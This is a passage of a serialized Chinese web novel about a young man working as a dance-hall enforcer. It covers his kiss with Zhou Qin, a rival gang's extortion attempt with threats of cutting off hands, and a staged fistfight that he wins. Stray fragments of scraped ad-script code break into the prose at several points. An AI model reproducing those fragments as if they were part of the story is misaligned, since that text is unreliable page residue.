我带周琴来到一间包厢,推开门,烟雾缭绕,空气中弥漫酒精和香水的混合味道。 几个打手正和小姐姐们猜拳喝酒,欢声笑语不断。 这回玩的还是老把戏,女的赢了能拿到钱,可输了,就得挨点惩罚。 我这一出现,并未打扰他们的兴致,他们也就随便跟我打个招呼,便邀请我加入。 对于我失踪几天也没问,好像在这的人,随时都会消失,已经习以为常。 “彪哥,来一杯吧!”一个光头大汉举起酒杯,眼里闪烁着兴奋的光芒。 我无奈笑笑,接过酒杯,一饮而尽,酒液滑过喉咙,带着火辣的灼烧感。 周琴在一旁显得局促不安,她紧紧抓着我的手臂,四下打量。 随即,她那双眼就瞪得老大,老圆了。 好像眼前的画面非常炸裂,已经完全炸烂了她的三观。 而我自然已经见怪不怪,不就是嘴对嘴吗,还有把手伸进衣服乱捏吗。 切。 这种事,舞厅里每晚都会上演。 可正当我思索着,自己是不是也该做点什么,让周琴受不了,把她赶走时,周琴扯了扯我的手臂。 “浩哥,过来一下。”她羞得不行,很小声嘀咕。 然后,不由分说就用力把我拽出包厢。 我挺纳闷,“又咋了?” 周琴紧张兮兮靠近我,低声说道:“浩哥,我也想试试亲嘴什么感觉。” 我草! 她这话一出,真给我搞愣了。 不禁很后悔把她带过来,本是想让她见识下我的工作环境,并做点什么,让她死心。 却没想到,就这么短短一会功夫,她便学坏了? 她的脸颊又染上红晕,目光闪烁不定,时而盯着地面,时而偷偷瞥向我。 我果断拒绝,“想屁吃,我已经满足过你的要求了,不许耍赖!” 周琴还真给我玩赖的,或许是已经有了经验,她这回,威胁我起来更老练了。 “你亲不亲。” “不可能!” “那我立马回去,姑奶奶我不高兴了,可是什么都做得出来!” “你敢!”我只能干瞪眼,说实话,真拿她不能怎样。 周琴那叫一个倔,比我老家那头牛还要倔百倍。 “我才吃亏好不,亲不亲!” 第28章 漩涡! 我被她搞得骑虎难下,也像置身在漩涡边缘,无论我怎么挣扎,最终还是被吸了进去。 不满足她,她指不定真要同归于尽。 因为那姓廖的扑街,我和嫂嫂的关系已经有点紧张了。 如果还让嫂嫂得知我在这种场所上班,干的还是看场子的活,后果真不敢想。 可满足她吧,就感觉这简直是个无底洞。 她接下来不会一次比一次索求更多,到最后把我整个人吸进去吧! 关键是,我也忍耐得很煎熬! 作为血气方刚一男的,以前光看小说里的描写,都会心痒难耐。 怎么可能不好奇,不想尝试啊? 之前那一下,我就差点动摇了,真怕自己失去原则。 不行啊,唐浩,你和她不可能的,不能答应,不然早晚会伤透她的心。 怕啥呢,反正又不是你要求的,你现在,只是为了堵住她的嘴。 两种声音,在我脑子里疯狂打转。 没等它们分出胜负,周琴已经是踮起脚尖,主动亲上来了。 我没躲,倒不是反应不过来,而是,就好像被什么束缚住。 眼睁睁看着她贴近…… 瞬间,那股新鲜,刺激的柔软,让我不禁过电一样,情不自禁战栗了下。 本以为也会像之前那样,点到为止。 但不知周琴哪来的勇气,竟然入室抢劫一样的热情。 说出来真怕你们笑话,我堂堂纯爷们,在这种情况下那么被动。 反倒要让一个妹子引领,她的手环住我的脖子,贴得更近,更紧。 当我紧闭的嘴巴,没能坚守住最后一条防线,她的热情更加浓烈了。 那种打转,那种从未品尝过的香甜,就好似火山喷发。 我一度坚定的想法,开始破碎。 渐渐,也开始迷失。 幽暗的走廊里。 我的双手从一开始彷徨无措,到轻轻环住她纤细的腰肢,再到不自觉收紧几分。 她的身体微微一颤,像是一片被秋风拂过的落叶,那细微的反应更加触动了我心底最柔软的地方。 她的回应也更加强烈,从只是搂着我的脖子,到开始抓挠我的头发。 动次打次的音乐依旧喧嚣,可这时却成了背景音,我感觉自己渐渐脱离了现实。 于是,我也缓缓闭上眼睛,感受到她温热的呼吸交织在我的唇边。 那些杂七杂八的想法,在这一刻都烟消云散了。 这一刻,我只想专注。 不知道过了多久,耳边传来低笑声,睁眼一看,竟有个女人捂着嘴,匆匆从我们身边路过。 瞬间,我心中一紧,忙按住周琴圆润的双肩,急忙分开。 周琴无地自容般深埋着头,但依旧紧贴着我,抓紧我的衣服,好像我会在下一秒逃跑。 等那女人走远了,她才慢慢抬起脸,娇羞与惊奇交织在她的表情中。 “浩哥,我很幸福呢。”她的声音轻柔,像是从梦中唤醒的呢喃。 我心中复杂,兴奋、满足、贪恋交织在一起,却又夹杂着愧疚与不安。 就像做了什么坏事,心里有种要完蛋的感觉。 可一想到嫂嫂对我的冷漠,心中又禁不住一阵气愤: 都怪你,是你先把我推开的! 这种想法既幼稚又无耻,但我却在此刻想给自己找个理由。 面对周琴,我更不知该如何定位自己,心中窘迫得很,言不由衷说: “好了好了,就这一次,下不为例!” 周琴却不肯放过我,眼中闪烁着调皮的光芒:“浩哥,其实你也喜欢我,对不对?” 我连忙摇头:“哪有?” “骗人,你脸红了,而且你还,你还…” 她话音未落,我的脸颊竟然烫得厉害,耳根也热了起来。 我不想承认,害怕自己会陷得更深。 老周说得对,女人,确实是很可怕的动物。 我转身想回包厢,周琴却又问:“浩哥,亲我是什么感觉呢?” “什么什么感觉?”我明知故问,心中却翻涌着刚才的画面,难以自已。 然后开始慌乱,嘴上不由自主说:“哪有什么感觉,不就是封口费吗?” 周琴似乎并不在意,或许是满足了某种期待,又可能被兴奋一时冲昏了脑袋。 她居然提议,等下次没人了,我们再试一试。 这回,我拒绝得艰难,再也没有从前那般果断。 不会吧? 我不会真喜欢周琴了吧? 这种想法太可怕了,我赶忙晃晃脑袋,想让自己清醒点。 周琴央求道:“等你下班了,好不好。” 我说不好,很不好! 这话一出口,连我自己都觉得没有底气,周琴也笑得格外开心。 就在我思绪纷乱之际,包厢门猛地被推开,一名服务生慌慌张张地跑了进来,脸色苍白,声音颤抖: “彪,彪哥,有人来砸场子了!” 我立马整个人冷静了下来,心说来得好啊! 刚好我也需要个理由,摆脱周琴这个磨人的小妖精。 不过,怎么会突然有人搞事情呢? 看服务生这个反应,事情应该还不小。 虽说歌舞厅这种场所,确实容易起争端,但前面一周多,经我实地考察下来,也没有想象中的那么乱。 顶多有客人喝高了,乱耍酒疯。 像这种,根本不需要我们出马,服务生便可轻松搞定。 打手们立马都站了起来,那些小姐姐则挺淡定,有个还在吞云吐雾。 看得出来,他们不仅早就习惯这种事,还一副闷坏的样子,正想大展拳脚,一个个蠢蠢欲动。 “妈了个比,谁那么沙胆啊!”那光头大汉撸起袖子,抄起酒瓶就往外走。 我直接跟上,本想将周琴留包厢里,她却死活不愿意,非得去凑热闹。 大厅那,这时候音乐已经停了,客人也散得差不多。 中央处多了张桌子,有个寸头,肥头大耳,满脸横肉,穿着花衬衫的大叔岔开腿坐着,左脚还不停抖动。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 他身后,杵了一帮高个年轻小伙,看着就神色不善。 什么情况啊这是,闹这么大吗? 刚才还兴冲冲的光头大汉,见此阵仗立马萎了,居然躲我身后。 我心里难免鄙视一番,也眼尖,发现那天的黄毛竟然也在。 靠! 不会是冲我来的吧? 当下我也赶紧找人遮了遮,不是怂,是不想惹事。 用老李的话说便是,打个工而已,几个钱啊,那么拼命干毛。 而且,如果对方真是冲我来,还搞那么大的阵仗,真打起来我没法保证自己不会受伤。 这些混混干起架来,真是没个轻重的。 到时候我怕我也上头,万一闹出人命,那可完了。 很快,梁经理冒头了,他揉搓双手笑得那叫一个和气生财,舔着脸凑上去。 “哎呀,这不是我志哥吗,什么风把您给吹来了啊。” 志哥冷冷一笑,寸头下的眼神如同刀锋,直逼梁经理,又将黄毛一把拉到身旁。 “我弟前阵子在你们这受了伤,回去后就开始呕血。你说,这事该怎么断?” 说着,就有人抱着个鱼档用的蓝箱子,上面插满了砍刀。 咚的一声重重放桌上,震得周围的酒瓶东倒西歪,砰,掉地上碎裂。 我心中一紧,暗骂:“真他妈不要脸,黄毛我可没碰过,草!” 还真是冲我来的,这让我心乱如麻。 梁经理的反应很快,立马又朝黄毛赔笑。 “强哥,我的强哥,真不好意思啊,现在好点没?” 黄毛嗤了声,这回有了人撑腰,神态比那天更嚣张了。 志哥道:“梁经理,出来做生意的确不容易,我不为难你,不然,你也不好跟你老板交代吧。” “一句话,这个场大b看的,出了事自然他负责。他人呢,死哪个女人身上了,赶紧喊他来!” 梁经理脾气也是真好,可能经历多了这种场面,很清楚该怎么应付这帮烂仔。 他笑着,点头如捣蒜,“来了,马上,已经在路上了。” 志哥摸摸寸头,也笑了,“那行,你先听听我的条件。” “您说。”梁经理连忙回应。 “打我弟的小子,交出来!我给你梁经理面子,也给大b脸面,就要他一双手。” “另外,我弟光住院就花了五六万,我给你算个整,吃个亏,五万好了!” 他抬起手,张开五指,笑得阴森。 “梁经理,你看怎么样,还是说,你想要重新装修,那可要十几万打底吧?” 梁经理这下为难了,结结巴巴道:“这,这……” “哈哈哈!” 志哥大笑,好像料定廖经理会有这反应。 “没事,你先听着,待会大b来了也这价码,没得商量!” 此时,黄美玲的话再次回荡在我耳边。 真是我太天真了吗? 出来混,哪怕我再怎么小心翼翼,不去沾染危险。 可危险,还是会咬住我不放? 第29章 对台! 志哥又一声令下,手下立刻奔向酒柜。 他们挑选的酒,都是那些标志性的奢侈品。 像尊尼获加,红标,黑标的,价格都不便宜了,却一概看不上。 他们拿的,是路易王妃,马爹利,人头马等,动辄上千几千块! 就像在路边摊的冰柜,拿汽水那么随意。 “来,大家一起喝!”志哥豪气干云,酒水立马在小弟们的手中流转。 欢声笑语中,竟有人嫌轩尼诗难喝,毫不犹豫地将酒吨吨倒在地。 梁经理的心估计都在滴血了,那些酒,可都是店里的标志,却又敢怒不敢言。 其他员工们也都义愤填膺,但迫于对方人多势众,只好忍气吞声。 志哥笑道,“梁经理,你这的名酒不咋的啊,不会掺水了吧,哈哈哈!” 他这话,简直不要太损,分明就是想砸星光歌舞厅的口碑。 此时还有些胆子大的,或包厢里的客人没走,正凑热闹呢。 说酒里掺水,要传出去,以一传百,谁还来消费? 梁经理笑得比哭还难看,“志哥,您,您太幽默了。” 志哥大笑,然后,继续嚯嚯贵重的酒水。 大约半个来小时后,大b哥终于来了! 舞厅的人立马振奋不已,毫不夸张的讲,大b哥,就是大伙的主心骨! 我也暗暗松了口气,心想总算有人能撑住这场面了。 倒不怕大b哥卖我,毕竟我可不是刚入江湖的菜鸟。 许多门门道道,早听得耳朵长茧了。 在这片地儿看场子,我跟的是大b哥。 混江湖,讲的是一个义字。要是随便就把我交出去,大b哥的招牌可就砸了。 那以后,谁还敢跟他混? 他这个大哥,也就成了光杆司令。 再说了,江湖人都特要面子。 把我交出去,就等于示弱、低头。 思前想后,我心里反而平静下来,只是觉得烦躁。 明明我已经够低调了,怎么这些破事还缠着我不放? 今年也不是我的本命年啊! 大b哥带着十几号人浩浩荡荡走进来,他双手插在兜里,腋下夹着皮包,整个人透着一股大哥气势。 见到志哥那帮人,他依旧神态自若,连眉头都没皱一下。 “阿志,什么章程,说吧。” 志哥那帮小弟本来还气势汹汹,一见大b哥,气焰明显弱了几分。 只有志哥自己,看上去还算淡定,笑了笑道: “大b,条件我已经跟梁经理讲了,你让他跟你讲。” 梁经理立马凑到大b哥身旁低语一阵,大b哥听完后,也笑了。 他招招手,跟帮连忙搬来一张椅子,他一撩风衣,从容坐下。 “阿志,我琢磨今天不是愚人节吧,干嘛讲这种笑话。” 志哥骂了句“草”,然后笑容转阴,“你以为我不敢?” 大b哥点了根烟,砸吧砸吧抽了几口,不紧不慢道: “外头都喊你疯狗志,你有什么不敢,不过啊,这事你可别被人当枪使了。” “阿虎的马仔有事,他自己没来找我,怎么就要你潮帮的人管了?” 说着,他看向黄毛。 黄毛立马退了半步,目光错开,显得挺虚的样子。 我立马醒悟过来,原来找我麻烦,只不过是个借口! 早前就听梁经理介绍,沙田这地方帮派林立,分好几拨。 控制摩的佬,市场的是老虎帮; 当然,他们也把手伸向歌舞厅,录像厅,溜冰场等地方。 毕竟这里头潜在利润巨大,有钱不挣,那是傻逼。 大b哥也有自己的帮派,叫飞鹰帮。 潮帮则主要涉及沙场,建筑工地,本来他们也是市场里的霸王。 但这些年,市场这块搞不过老虎帮,渐渐便重心转移了。 跟城北那伙白帮的人抢沙场控制权,值得一提,兴叔就是白帮的。 当日我初来港城报道,求他指条明路,他并没有把我往道上带,估计是老周的交代。 而老周,他身上的谜团也更加浓郁了。 其实我一直好奇,老周明明还在那牢子里蹲着,又是怎么跟兴叔联系的呢? 刚见着兴叔时,他说的分明是:“你就是老周提到的那个年轻人啊。” 很明显,老周料定我会来找兴叔,提前做好了安排。 话又说回来,这些帮派真是错综复杂。 潮帮的志哥,他弟竟然是老虎帮的马仔,不过也不稀奇。 就像歌舞厅里的小姐姐们,有的也归另外一个帮派管嘛。 沙田这块蛋糕就这么大,狼多肉少,帮派间自然容易起冲突。 志哥一脸狠色,冷冷说道:“大b,我是疯,但不傻,今天就是来给我弟讨个说法!” 大b哥也不甘示弱,眼神一凛,态度很强硬:“那行,你尽管砸。” “明天我也拉一车人,去你新管的那个楼盘开个荤,我倒要看看谁还敢往里住。” 开荤,这是道上行话,就是见血。 大b哥话音刚落, 霸气款款一招手,跟班立马把手中的铁锤甩到志哥面前。 “来,阿志,你尽兴!你要疯,我奉陪,大不了大家都没生意做。” 这种气势,真是让人心头一震。 我暗暗佩服大b哥的定力和魄力,在道上,示弱只会让人多踩上几脚。 要想在这片江湖里立足,就得让人怕你,有些事才会变得好办。 一味退让,那干脆回老家种地算了。 道上的规矩我确实还懂不少,也多亏了那些年老周的讲解。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不过嘛,怕有些棒槌看了真去干点什么,所以就不多说了。 压力一下子来到志哥这边,他现在好比骑虎难下,狠话都放出去了,简直就是泼出去的水。 要是现在什么都不干便走人,那潮帮以后还怎么在江湖上立足? 可要是真砸了这家歌舞厅,大b哥就会拼死反击,同归于尽。 到时候,潮帮和飞鹰帮两败俱伤,最得利的还不是老虎帮? 志哥确实不傻,这点道理他肯定明白,所以迟迟没下令开砸。 我也跟着松了一口气,大b哥的态度和我预料的没什么出入,不可能把我交出来。 时间一分一秒过去,气氛凝重得好像空气都要凝固。 好一会,志哥才又呵呵笑了笑,笑声带着几分阴冷。 “行,那就换个玩法。” 志哥晃悠悠站起身,眼神冷厉。 “老规矩吧,打个对台。” 这也是道上的行话,意思是一件事僵持不下,又不想真落个玉石俱焚。 往往这种时候,双方各派一个人出来,打擂台解决。 江湖人都崇尚武力,他们信奉的,永远是真理在拳头的硬度上。 在大帮派里,最能打那位被尊称为红花棍,地位仅次于龙头话事人。 等现任话事人退了,最有竞争力的,也是红花棍。 志哥道:“要是我赢了,你大b就让出这家舞厅,来不来。” 大b哥神色一沉,但只是一瞬,很快又恢复淡定自若的样子。 “那输了怎么说?”大b哥问。 志哥嘴角勾起一抹自信的笑容:“我会输?如果真输了,我立马走人,以后我的人,绝对离你地盘远远的。” 大b哥摇了摇头,“没这说法。你开的酒,买个单吧。至于你弟阿强,那双手,得留下。” 志哥的笑容瞬间凝固,似乎又被大b哥的气势唬住,好像并不想玩儿那么大。 毕竟黄毛是他弟,不怕万一就怕一万,万一真输了,他弟以后还怎么摸女人? 只是…… 还是骑虎难下,志哥现在哪怕有一丢丢认怂的成份,传出去也损他脸面。 他也继续加码,“好,我赢了,打我弟那小子,我要他死!” 我就草了。 咋绕了一大圈,又到了我头上来。 同时发现,大飞竟然不在大b哥身边,他去哪了? 梁经理提到过,飞鹰帮里,现在就数大飞最能打。 之前还有个,但惹了麻烦,现在人跑宝岛避风头去了。 大飞不在,潮帮又在这时候提出要打对台,看来这件事,比我想象的还要复杂。 志哥那边,随即走出来一个肌肉男,他把花衬衣一扯,露出里头的黑背心。 那肌肉,鼓鼓的,充满了力量感。 “敢不敢!”志哥大声一喝。 第30章 立威! “笑话,我有什么不敢!” 大b哥猛地站起身,气势如虹。 那种说不出的安全感,瞬间笼罩全场。 但我还是从他微微抽搐的眼角,瞧出了一丝凝重。 不知道我的猜测对不对,就是眼下这事,有点阴谋的味道。 大飞怎么会不在呢,他不应该大b哥走哪跟哪,贴身保镖吗? 他不在,那这对台的苦差,不就铁定落我头上了? 大b哥给了我一万块,还给我开月三千的工资。 这么好的待遇,自然不是做慈善。 无非就是看中我能打,花钱养着我,以备不时之需。 果不其然,大b哥的目光看了过来。 “阿彪,出来露几手!” 他声音低沉,透着不容拒绝的威严。 我暗暗叹气,心里头虽无奈,却又不得不面对。 这和我的初衷完全两码事,我并不想在道上闹出什么名堂。 主打就是个混,这儿来钱快,等填上家里的窟窿,也是真想抽身走人。 所以这些天,我从不跟任何人拉关系,尽可能透明。 但此时此刻,那句老生常谈的人在江湖,身不由己,照进了现实里。 真实的刺骨! 其他人也都看向了我,挺期待的。 好像只要我出马,就一定能找回场子一样。 周琴抓我抓得更紧了,我回头看去,她满脸写着担忧和害怕。 她咬着下唇,几乎咬破了,唇边泛着白,摇了摇头,想让我别去。 黄毛也在这时发现了我,指着我嚷嚷,狗叫道: “哥,就是他!就是这个扑街打的我!” 潮帮那的人立马锁定我,目光就像刀子,恨不得捅我几个窟窿。 见势,我清楚今晚必须得打了。 于是我不再迟疑,拍了拍周琴的手背,低声安慰: “没事,躲不掉的。” 周琴的眼中闪烁泪光,似乎想说什么,却又无从开口。 我掰开她的小手,毅然决然走出人群。 “放你妈的五香麻辣屁,那晚那么多人见证,我什么时候碰过你?” “要打就打!别废话,我阿彪,从来不怕事!” 这话一出口,身后竟传来几声鼓掌,气氛瞬间变得诡异而热烈。 我的心情也随之波动,这就是江湖人想要的吗? 把名声打出来,身份也就有了。 “阿炮,把这扑街废了!”志哥的命令如战鼓。 阿炮当即让肌肉鼓得更大块,青筋暴起,无不彰显他的力量。 冷笑一声,他旋即就朝我左边欺近。 我也火速摆出蔡李佛拳的起手式,身形灵活地闪避他的攻击。 之所以先闪,是想瞅瞅这个阿炮到底什么路数。 那志哥这么有底气,足以说明这家伙不简单。 果然,他出拳极快,拳头带着风声直取我的面门。 然而,这只是虚晃,紧跟着,他的拳头像闪电般分别攻向我的胸口和腰侧。 搞得我当即有些被动,利用十字手才勉强拆开他的猛攻。 我们掌对拳,拳撞拳来回交手了好几轮。 阿炮的拳路,渐渐也就摸清楚个大概了。 这家伙确实有点东西,耍的竟是南拳! 南拳,讲究寸劲,每一拳都像锤子砸在你身上,出拳快,变化多,密不透风,主攻一个点。 而且打的还是穴位! 我立马利用蔡李佛拳的灵活步伐,游走在他的攻击范围之外。 “南拳是吧?”我冷哼一声,开始反击。 蔡李佛拳同样讲究快打快收,不断游走,其实就是为了引诱他继续强攻。 这大块头肌肉是壮,但脑子显然不太好使,还真被我勾住。 见我刚拆开他狠狠砸来的一拳,甩了甩手,就以为我吃不消,手麻了呢。 同时我也后撤半步,摆出又要通过拉扯,以退化解他拳势的样子。 他果然上钩了,也似乎想尽早干趴我,再次猛地一拳直直打来。 就是现在! 我立马晃了下身体,闪开他拳锋的同时,右手也早已蓄力待发。 毫不犹豫,就一记螳螂勾手,打在了他手臂下方。 这一拳,我自信能让他手臂发麻,甚至抽筋。 但我并没有贪,再次拉开身位,佯装要起脚飞踢。 他立马后撤,给了我空间。 而我却是一步半跨,稳住下盘,双拳以崩劲爆发。 阿炮急忙横臂格挡,却还是被我这招盘龙双崩,震得连退好几步。 他右手微微地抖,显然,刚才那一下真让他吃疼了。 也鼓了鼓肌肉,想要通过发力,压住那阵酸麻。 他还诧异,似乎没想到我明明还处于下风,被他打得一退再退。 怎么一瞬间,局面却反了? 打架嘛,也是要讲脑子的,这阿炮太天真了点。 我当即原地蹦几下,双手握拳架在面前,摆出大飞擅长的泰拳起手式。 虽然我不会,但依葫芦画瓢,做做样子还挺像。 阿炮懵了 ,搞不懂我这又是什么套路。 见我以泰拳之势逼近,他果断起脚飞踢,想要先和我保持距离。 可我等的就是这一刻! 右手打出一记铁桥扫,专门针对飞踢这个动作的,狠狠砸在他右小腿上。 阿炮再次吃疼,闷哼了声,身形也因此失去重心,一个趔趄。 我顺势双手一收,以双峰贯耳作势要打他的脑袋两侧。 他又一次落入我的节奏中,忙架起双臂想要格挡住。 但我还有后手,打出双峰贯耳时,左脚已经蓄力。 阿炮双手疲于拆解我的招式,已经是门户大开。 说时迟,那时快! 我毫不犹豫,双手抓住他的手臂,左脚一蹬,借力让整身离地,右腿弯曲,一发飞膝撞,正正撞上他的胸口。 “砰!”阿炮整个儿被撞飞了出去,重重摔在地上。 我稳稳落地,吐出一口气,冷笑道:“服不服?” 阿炮躺在地上,捂着胸口,喘着粗气,脸色苍白,显然被我这一击打得不轻。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “好!” 大b哥率先鼓掌,那样子,显然因为我的出色表现,让他倍有面,笑得啊,眼睛都快看不见了。 舞厅的伙计也纷纷喝彩,大喊漂亮,就连看着斯文的梁经理,也跳了起来。 潮帮那边,有的面面相觑,好像根本不认为阿炮会输。 有的面色极为难看,那黄毛,前不久还在给阿炮呐喊助威,这下,彻底没声了。 志哥的表情也很精彩,如果要用一句话来形容,就和吃了屎差不多。 而且吃的,还是他自己拉的那泡屎。 一时间,他似乎也不知该说什么好了。 大b哥款款朝我走来,拍拍我的后背,笑得更加明灿。“好,我果然没看错人!” 他的话语带着无法掩饰的自豪,让始终不想陷入江湖的我,心情难免也有点激动。 大b哥又朝志哥那露齿一笑。“阿志,对台也打了,怎么说现在?” 志哥神色阴鸷,一看就是很想爆发,搭在腿上的手握得紧紧,却隐忍着。 我能感受到他的愤怒和不甘,但更多的是无奈。 毕竟在江湖上,技不如人就是最大的耻辱! 这时,阿炮又从地上弹起,不得不说,这家伙真挺耐草。 挨了我一发膝击猛撞,就算肋骨还健在,也该气血瘀滞,胸闷气短吧。 怎么可能还能安然无事呢? 当然不,就是硬撑,咳了几声,他沙哑道:“我不服,再来!” 说着,他右手往身后摸去,大步往前走。 我心里一紧,这动作,是要耍赖了? 明摆着就是藏了什么武器,我暗自警惕,手也不由自主再次握紧。 “够了!” 但好在,志哥一声爆喝,镇住了阿炮。 阿炮转头看向志哥,很不服气道:“大哥,我……” 果然,还真藏了一把小刀,后裤袋那一闪而过的亮光,绝对不可能看错! “我什么我!还嫌不够丢脸啊!技不如人,我不是玩不起!” 说着,志哥猛地一拍桌面,起身 “走!!” 跟着他的那些马仔立马低下头,来时的那股嚣张劲哪还看得见,只剩下丧气。 那黄毛找人遮了遮,生怕被惦记上。 正常来说,怎么可能让这伙人想来就来,想走就走? 只是我并不想节外生枝,而且场子是大b哥的,而我就一打工仔。 拿钱办事,就那么简单。 所以,我按捺住锤黄毛一顿的冲动,看看大b哥打算怎么做。 不出我所料,大b哥也不是好说话的主,看似随意,实则有心走了几步,挡在了志哥面前,摸了摸光头。 “疯狗志,你真当我这公园啊?” 黄毛立马扒拉住志哥,吓哭了,双腿抖得跟筛子似的,“哥…” 按对台约定,潮帮输了,就得赔付那些酒水的钱,还要黄毛把双手留下! 但志哥这样,显然不舍得将他弟交出来,砍下双手。 一下子,他竟也低声下气起来,道: “大b,别让我太为难。” 第31章 该死的好奇心啊! 志哥这话一出,跟着他的那帮马仔脸色彻底黑了。 出来混,最怕丢的就是脸。 为了这张脸,兄弟们什么都干得出来。 两帮人马火拼,争地盘争利益固然重要,面子更是头等大事。 现在志哥丢了面子,跟着他混的那些兄弟,自然也脸上无光。 事儿传出去,别人指着你笑,说你跟了个无能的老大,那可比挨刀子还难受。 而大b哥此时正是扬眉吐气,前面他可能遇上啥烦心事,积了一肚子火。 志哥这时送上门来,正好给大b哥泻火。 大b哥那笑声啊,不知道的还以为他中了六合彩呢。 笑了一阵后,大b哥突然语气一沉: “疯狗志,你说为难。那要是今晚我输了,你会让我为难吗?” 志哥被这话一堵,张了张嘴,话没出来,脸色更难看了。 他咬了咬牙,脸上的横肉抖了抖,显然在努力克制住怒火。 我暗暗捏了把汗,千万别发疯啊,要不真拼个鱼死网破,我不得加班加点? 那就不是月三千了,得加钱! 不过还好,志哥终究忍住了。这对我来说也是最好的结果。 混战跟对台完全两码事,要受了伤,在嫂嫂面前我怎么交代? 志哥挺无奈道:“大b,咱这些年也有点交情吧,给条路。” 这是道上的行话,也是体面话,意思是大家都出来混,给个机会行不行。 大b哥哼了声,“行啊,打大飞那帮人是谁?” 我本来还在心里祈祷,b哥你可千万要见好就收,别把人逼到死路上。 虽然黄毛那家伙我看不顺眼,心里想着他今晚要是能把双手留下最好,可再一想。 主要还是不想加班。 可听见b哥那句话,我整个人登时愣住了。 什么?! 大飞被人打了?难怪今天没见他跟在b哥身边。 就大飞那身手,不至于吧,谁敢动他? 脑子里各种念头乱飞,只见志哥满脸纠结地说了句: “大b,换个地,咱两叙叙旧。” 声音压得很低,语气里满是妥协。 “行,我也好久没给你放倒了,今天不给你喝到桌子下,我大b以后倒着走。” 这都是场面话,也不想落下什么话柄。 大b哥一甩手,就往包厢那边走去,我心里一股探究欲顿时涌上来。 接下来,肯定是大哥之间的密谈了。 但我猛又惊醒,心里狠狠提醒自己: “唐浩,你他妈好奇个屁啊,别忘了自己的初衷!” 没错。 无论这事背后有什么隐情,是否真有阴谋,我都不该去好奇。 好奇心会害死猫,越深入了解,自己就会陷得越深。 这完全违背了我最初的想法,我只是想要快钱,还债,给嫂嫂更好的生活。 没其他本事,不得已,才来这种地方做看场的。 不能瞎搞的,唐浩!清醒点! 大b哥和志哥一走,舞厅的伙计们就更闹腾了。 那几个打手纷纷围上来,眼睛放光,说彪哥你牛啊,这身手简直无敌了。 留下的客人也兴奋得不行,在那打了几拳,模仿我和阿炮过招。 又有打手嚷嚷着要拜师,当场就要给我跪下磕头。 各种彩虹屁把我围得里三层外三层,弄得我心里的快感一阵阵袭来,既痛快又得意。 尤其那些小姐姐看我的眼神,那种想一探究竟的信号,更是毫无遮掩,十分露骨。 说不暗爽,怎么可能呢! 梁经理紧紧搂住我,笑得那叫一个明爽。 “彪哥,待会别忘了来拿提成哈!” 他这话一出,周围人更是羡慕得不行,纷纷猜测奖励会有多少。 一千,还是两千? 我也不禁有点猴急,手头上的钱是越来越多,这回走出去,我就是个万元户了! 光是想想,就觉得神清气爽。 毕竟,在大部分人眼里,我唐浩只是厂仔,还是厂里最底层的清洁工。 老家那,我唐浩蹲过牢,晦气得很,要文化没文化,要出息没出息,在当地简直混不下去,都卷铺盖跑路了。 可在沙田的晚上,我却是彪哥!我让别人敬畏,让别人巴结,我也有钱了! 这种感觉,简直酸爽得不行!只感觉自己走向了巅峰! 当然,想归想,我也就暗爽而已,心里很清楚,可千万不能飘。 底线和原则,绝不能破! 周琴也在这时往我这边走来,被我瞪了眼后,她立马停下,满脸困惑,不明白我什么意思。 我能有什么意思? 有人欢喜自然也有人愁。 眼下,志哥那帮马仔都跟死了爹妈没差,尤其那个叫阿炮的大块头,简直无地自容。 经过大飞的事后,我明白了个道理。 我让阿炮当众丢了面子,指不定,他也惦记上我了。 这种出来混的,不一定都老老实实跟你讲江湖规矩。 要是被他发现周琴和我走得近,还真怕 他玩下三滥。 有一说一,今晚过后,彪哥这个名号,在沙田这地肯定打响了。 这让我再次佩服自己的机智,幸亏当时候跟梁经理说用假名。 外号彪哥,别人要问,全名就叫王大彪。 否则事情传开,别人都说:“喂,听说了吗,星光歌舞厅那出来个猛人,特能打,叫唐浩。” 一传十,十传百,最后传到玩具厂,被嫂嫂听见。 我该如何解释? 难道要跟嫂嫂说:“真神奇,这家伙竟然跟我重名?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嫂嫂又不傻,当然是不可能的,要让她起了疑心,事情只会越来越麻烦。 于是,我将梁经理拉到一旁,压低声音把担心阿炮搞下三滥的顾虑说了。 梁经理笑着拍了拍我的肩,夸道:“真奇怪,你明明年纪小小,但这滴水不漏的心思,可比不少老江湖强多了。” 我笑着回道:“哪有,还不是前阵子在这耳濡目染,多亏梁经理教得好。” 梁经理哈哈大笑,看来这个马屁,拍对地方了。 不少人好奇地看过来,不知道我们在聊什么开心事。 梁经理很给力,便让人不着痕迹,先将周琴带去他的办公室。 周琴也挺机智,知道这是我的安排,乖乖配合着。 但到了办公室后,她立马又好像牛皮糖一样,死粘着我不放。 “浩哥,人家刚才担心死了,要是你有什么事,我怎么办……” 或许因为前面我们那个了,眼下周琴更大胆,压根无所谓有别人在。 一上来就紧紧抱住我,深埋我胸口里,还要我搂住她,她害怕。 我脸上火辣辣的,这种腻歪成何体统! 梁经理看着,朝我竖起大拇指,笑眯眯地说:“小唐哥,牛啊,让人家姑娘这样对你死心塌地,也教教我呗。” 我实在难为情,一边掰开周琴,一边求放过。 好在梁经理没再拿我寻开心,他去抽屉里取出个鼓鼓囊囊的信封。 不用说,里头肯定是钞票了。 他拉开抽屉时,我没忍住瞟了眼,尽管知道这样不合规矩,就是没忍住。 那里面,像这样的信封还挺多。 这梁经理,平时都是这样给人钱的吗?有什么讲究不? 他把信封塞我手里,“这里头五千,点点看。” 我连忙说不用,多多少少都是大b哥和梁经理看得起我,是对我的关照。 其实点一点,也是道上行话。 别人让你点钱,意思是问这个数目是否满意,同时也在试探你的胃口。 如果你真棒槌到去点,抚了别人面子不说,也会让自己丢人丢份。 幸亏老周跟我提过这些。 果然如我所想,梁经理直夸: “上道!” 周琴就震惊了,显然她虽然知道在这种地方上班挺挣钱,却没想到这么的挣钱! 五千啊,她小姨王美玲,在厂里小领导级别的,一个月下来才两千。 而我,一晚就挣了五千。 这让周琴彻底迷糊了,眼神开始兴奋,对我更加崇拜。 那双亮晶晶的眼睛,不知道是因为见了钱,还是因为我。 